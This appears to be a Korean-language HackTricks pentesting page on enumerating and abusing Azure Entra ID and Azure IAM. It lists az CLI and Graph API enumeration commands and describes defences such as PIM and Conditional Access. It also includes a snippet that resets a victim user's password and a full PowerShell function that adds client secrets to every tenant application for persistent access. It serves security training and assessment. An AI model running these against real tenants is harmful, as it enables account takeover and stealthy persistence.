Az - Entra ID (AzureAD) & Azure IAM

Reading time: 29 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

Azure Active Directory (Azure AD)는 Microsoft의 클라우드 기반 아이덴티티 및 액세스 관리 서비스입니다. 이는 직원들이 조직 내외부의 리소스에 로그인하고 접근할 수 있도록 하는 데 중요한 역할을 하며, Microsoft 365, Azure 포털 및 다양한 다른 SaaS 애플리케이션을 포함합니다. Azure AD의 설계는 인증, 권한 부여 및 사용자 관리를 포함한 필수 아이덴티티 서비스를 제공하는 데 중점을 두고 있습니다.

Azure AD의 주요 기능에는 다단계 인증조건부 액세스가 포함되며, 다른 Microsoft 보안 서비스와의 원활한 통합이 특징입니다. 이러한 기능은 사용자 아이덴티티의 보안을 크게 향상시키고 조직이 액세스 정책을 효과적으로 구현하고 시행할 수 있도록 합니다. Microsoft의 클라우드 서비스 생태계의 기본 구성 요소로서, Azure AD는 사용자 아이덴티티의 클라우드 기반 관리를 위해 필수적입니다.

열거

연결

bash
az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity

# Login as service principal
## With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
## With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

Azure에 CLI를 통해 로그인할 때, Microsoft에 속한 tenantAzure Application을 사용하고 있습니다. 이러한 애플리케이션은 귀하의 계정에서 생성할 수 있는 것처럼 클라이언트 ID를 가지고 있습니다. 콘솔에서 볼 수 있는 허용된 애플리케이션 목록에서 모든 애플리케이션을 볼 수는 없지만, 기본적으로 허용됩니다.

예를 들어, 인증을 수행하는 powershell 스크립트는 클라이언트 ID **1950a258-227b-4e31-a9cf-717495945fc2**를 가진 앱을 사용합니다. 애플리케이션이 콘솔에 나타나지 않더라도, 시스템 관리자는 사용자가 해당 앱을 통해 연결할 수 없도록 해당 애플리케이션을 차단할 수 있습니다.

그러나 Azure에 연결할 수 있는 다른 클라이언트 ID의 애플리케이션이 있습니다:

bash
# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

테넌트

bash
# List tenants
az account tenant list

사용자

Entra ID 사용자에 대한 자세한 정보는 다음을 확인하세요:

Az - Basic Information

bash
# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all

# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq

사용자 비밀번호 변경

bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

MFA & Conditional Access Policies

모든 사용자에게 MFA를 추가하는 것이 강력히 권장되지만, 일부 회사는 이를 설정하지 않거나 특정 위치, 브라우저 또는 일부 조건에서 로그인할 경우에만 MFA를 요구하는 Conditional Access를 설정할 수 있습니다. 이러한 정책이 올바르게 구성되지 않으면 bypasses에 취약할 수 있습니다. 확인하세요:

Az - Conditional Access Policies & MFA Bypass

Groups

Entra ID 그룹에 대한 자세한 정보는 다음을 확인하세요:

Az - Basic Information

bash
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>

# To get Entra ID roles assigned check how it's done with users and use a group ID

그룹에 사용자 추가

그룹의 소유자는 그룹에 새로운 사용자를 추가할 수 있습니다.

bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

warning

그룹은 동적일 수 있으며, 이는 기본적으로 사용자가 특정 조건을 충족하면 그룹에 추가된다는 의미입니다. 물론, 조건이 사용자가 제어할 수 있는 속성에 기반할 경우, 그는 이 기능을 악용하여 다른 그룹에 들어갈 수 있습니다.
동적 그룹을 악용하는 방법은 다음 페이지를 확인하세요:

Az - Dynamic Groups Privesc

서비스 주체

Entra ID 서비스 주체에 대한 자세한 정보는 다음을 확인하세요:

Az - Basic Information

bash
# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine

# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json

warning

서비스 주체의 소유자는 비밀번호를 변경할 수 있습니다.

각 엔터프라이즈 앱에 클라이언트 비밀을 나열하고 추가해 보세요
bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
<#
.SYNOPSIS
Add client secret to the applications.

.PARAMETER GraphToken
Pass the Graph API Token

.EXAMPLE
PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

.LINK
https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
#>

[CmdletBinding()]
param(
[Parameter(Mandatory=$True)]
[String]
$GraphToken = $null
)

$AppList = $null
$AppPassword = $null

# List All the Applications

$Params = @{
"URI"     = "https://graph.microsoft.com/v1.0/applications"
"Method"  = "GET"
"Headers" = @{
"Content-Type"  = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}

try
{
$AppList = Invoke-RestMethod @Params -UseBasicParsing
}
catch
{
}

# Add Password in the Application

if($AppList -ne $null)
{
[System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value)
{
$ID = $App.ID
$psobj = New-Object PSObject

$Params = @{
"URI"     = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
"Method"  = "POST"
"Headers" = @{
"Content-Type"  = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}

$Body = @{
"passwordCredential"= @{
"displayName" = "Password"
}
}

try
{
$AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
$Details.Add($psobj) | Out-Null
}
catch
{
Write-Output "Failed to add new client secret to '$($App.displayName)' Application."
}
}
if($Details -ne $null)
{
Write-Output ""
Write-Output "Client secret added to : "
Write-Output $Details | fl *
}
}
else
{
Write-Output "Failed to Enumerate the Applications."
}
}

애플리케이션

애플리케이션에 대한 자세한 정보는 다음을 확인하세요:

Az - Basic Information

앱이 생성될 때 2가지 유형의 권한이 부여됩니다:

  • 서비스 주체에 부여된 권한
  • 사용자를 대신하여 이 가질 수 있는 권한.
bash
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

warning

AppRoleAssignment.ReadWrite 권한을 가진 앱은 Global Admin으로 승격할 수 있습니다.
더 많은 정보는 여기 확인하세요.

note

애플리케이션이 토큰을 요청할 때 자신의 신원을 증명하는 데 사용하는 비밀 문자열은 애플리케이션 비밀번호입니다.
따라서 이 비밀번호를 찾으면 서비스 주체테넌트 내부에 접근할 수 있습니다.
이 비밀번호는 생성될 때만 볼 수 있습니다(변경할 수는 있지만 다시 얻을 수는 없습니다).
애플리케이션소유자는 이를 가짜로 사용할 수 있도록 비밀번호를 추가할 수 있습니다.
이러한 서비스 주체로의 로그인은 위험한 것으로 표시되지 않으며 MFA가 없습니다.

Microsoft에 속하는 일반적으로 사용되는 App ID 목록을 찾는 것은 가능합니다 https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications

관리되는 ID

관리되는 ID에 대한 더 많은 정보는 다음을 확인하세요:

Az - Basic Information

bash
# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals

Azure 역할

Azure 역할에 대한 자세한 정보는 다음을 확인하세요:

Az - Basic Information

bash
# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"

Entra ID 역할

Azure 역할에 대한 자세한 정보는 다음을 확인하세요:

Az - Basic Information

bash
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"

# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"

# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"

# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"

# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

장치

bash
# If you know how to do this send a PR!

warning

만약 장치(VM)가 AzureAD에 가입되어 있다면, AzureAD의 사용자들이 로그인할 수 있습니다.
게다가, 로그인한 사용자가 장치의 소유자라면, 그는 로컬 관리자가 됩니다.

관리 단위

관리 단위에 대한 더 많은 정보는 다음을 확인하세요:

Az - Basic Information

bash
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"

Entra ID 권한 상승

Az - EntraID Privesc

Azure 권한 상승

Az - Azure IAM Privesc (Authorization)

방어 메커니즘

권한 있는 ID 관리 (PIM)

Azure의 권한 있는 ID 관리(PIM)는 불필요하게 사용자에게 과도한 권한이 부여되는 것을 방지하는 데 도움을 줍니다.

PIM이 제공하는 주요 기능 중 하나는 항상 활성화된 주체에게 역할을 할당하지 않고, 일정 기간(예: 6개월) 동안 자격을 부여할 수 있다는 것입니다. 그런 다음 사용자가 해당 역할을 활성화하고 싶을 때, 필요한 권한의 시간을 명시하여 요청해야 합니다(예: 3시간). 그런 다음 관리자가 요청을 승인해야 합니다.
사용자는 또한 시간을 연장 요청할 수 있습니다.

또한, PIM은 권한 있는 역할이 누군가에게 할당될 때마다 이메일을 보냅니다.

PIM이 활성화되면 각 역할에 대해 다음과 같은 특정 요구 사항을 구성할 수 있습니다:

  • 활성화 최대 기간(시간)
  • 활성화 시 MFA 요구
  • 조건부 액세스 인증 컨텍스트 요구
  • 활성화 시 정당화 요구
  • 활성화 시 티켓 정보 요구
  • 활성화 승인 요구
  • 자격 부여의 만료 최대 시간
  • 특정 작업이 해당 역할과 관련하여 발생할 때 알림을 보낼 사람과 시기를 구성하는 많은 추가 설정

조건부 액세스 정책

확인:

Az - Conditional Access Policies & MFA Bypass

Entra ID 보호

Entra ID 보호는 사용자 또는 로그인 시도가 너무 위험할 때 이를 감지하여 사용자를 차단하거나 로그인 시도를 차단할 수 있는 보안 서비스입니다.

관리자가 "낮음 이상", "중간 이상" 또는 "높음"일 때 시도를 차단하도록 구성할 수 있습니다. 그러나 기본적으로 완전히 비활성화되어 있습니다:

tip

현재 이러한 제한을 조건부 액세스 정책을 통해 추가하는 것이 권장되며, 동일한 옵션을 구성할 수 있습니다.

Entra 비밀번호 보호

Entra 비밀번호 보호 (https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)는 여러 번의 로그인 시도가 실패할 때 계정을 잠금으로써 약한 비밀번호의 남용을 방지하는 보안 기능입니다.
또한 제공해야 하는 사용자 정의 비밀번호 목록을 금지할 수 있습니다.

이는 클라우드 수준과 온프레미스 Active Directory 모두에 적용될 수 있습니다.

기본 모드는 감사입니다:

참고 문헌

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기